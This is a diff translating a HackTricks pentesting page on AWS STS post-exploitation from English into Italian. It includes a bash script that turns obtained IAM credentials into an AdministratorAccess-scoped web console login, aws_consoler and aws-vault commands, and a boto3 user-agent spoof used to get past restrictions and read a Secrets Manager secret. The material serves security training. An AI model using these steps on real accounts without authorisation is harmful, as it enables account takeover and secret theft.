Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md

@@ -4,21 +4,20 @@
 
 ## STS
 
-For more information:
+Per ulteriori informazioni:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### From IAM Creds to Console
+### Da IAM Creds a Console
 
-If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
-Note that the the user/role must have the permission **`sts:GetFederationToken`**.
+Se sei riuscito a ottenere alcune credenziali IAM, potresti essere interessato a **accedere alla console web** utilizzando i seguenti strumenti.\
+Nota che l'utente/ruolo deve avere il permesso **`sts:GetFederationToken`**.
 
-#### Custom script
-
-The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
+#### Script personalizzato
 
+Il seguente script utilizzerà il profilo predefinito e una posizione AWS predefinita (non gov e non cn) per fornirti un URL firmato che puoi utilizzare per accedere alla console web:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no
 output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
 
 if [ $? -ne 0 ]; then
-    echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
-    exit $status
+echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
+exit $status
 fi
 
 # Parse the output
@@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation"
 
 # Make the HTTP request to get the sign-in token
 resp=$(curl -s "$federation_endpoint" \
-    --get \
-    --data-urlencode "Action=getSigninToken" \
-    --data-urlencode "SessionDuration=43200" \
-    --data-urlencode "Session=$json_creds"
+--get \
+--data-urlencode "Action=getSigninToken" \
+--data-urlencode "SessionDuration=43200" \
+--data-urlencode "Session=$json_creds"
 )
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
@@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
-
 #### aws_consoler
 
-You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
-
+Puoi **generare un link alla console web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -67,27 +64,23 @@ source ./env/bin/activate
 pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
-
 > [!WARNING]
-> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
+> Assicurati che l'utente IAM abbia il permesso `sts:GetFederationToken`, o fornisci un ruolo da assumere.
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment.
-
+[**aws-vault**](https://github.com/99designs/aws-vault) è uno strumento per memorizzare e accedere in modo sicuro alle credenziali AWS in un ambiente di sviluppo.
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
-
 > [!NOTE]
-> You can also use **aws-vault** to obtain an **browser console session**
+> Puoi anche usare **aws-vault** per ottenere una **sessione della console del browser**
 
-### **Bypass User-Agent restrictions from Python**
-
-If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
+### **Evitare le restrizioni dell'User-Agent da Python**
 
+Se c'è una **restrizione nell'eseguire determinate azioni basate sull'user agent** utilizzato (come la restrizione dell'uso della libreria python boto3 in base all'user agent), è possibile utilizzare la tecnica precedente per **connettersi alla console web tramite un browser**, oppure puoi direttamente **modificare l'user-agent di boto3** facendo:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda
 # Perform the action
 response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-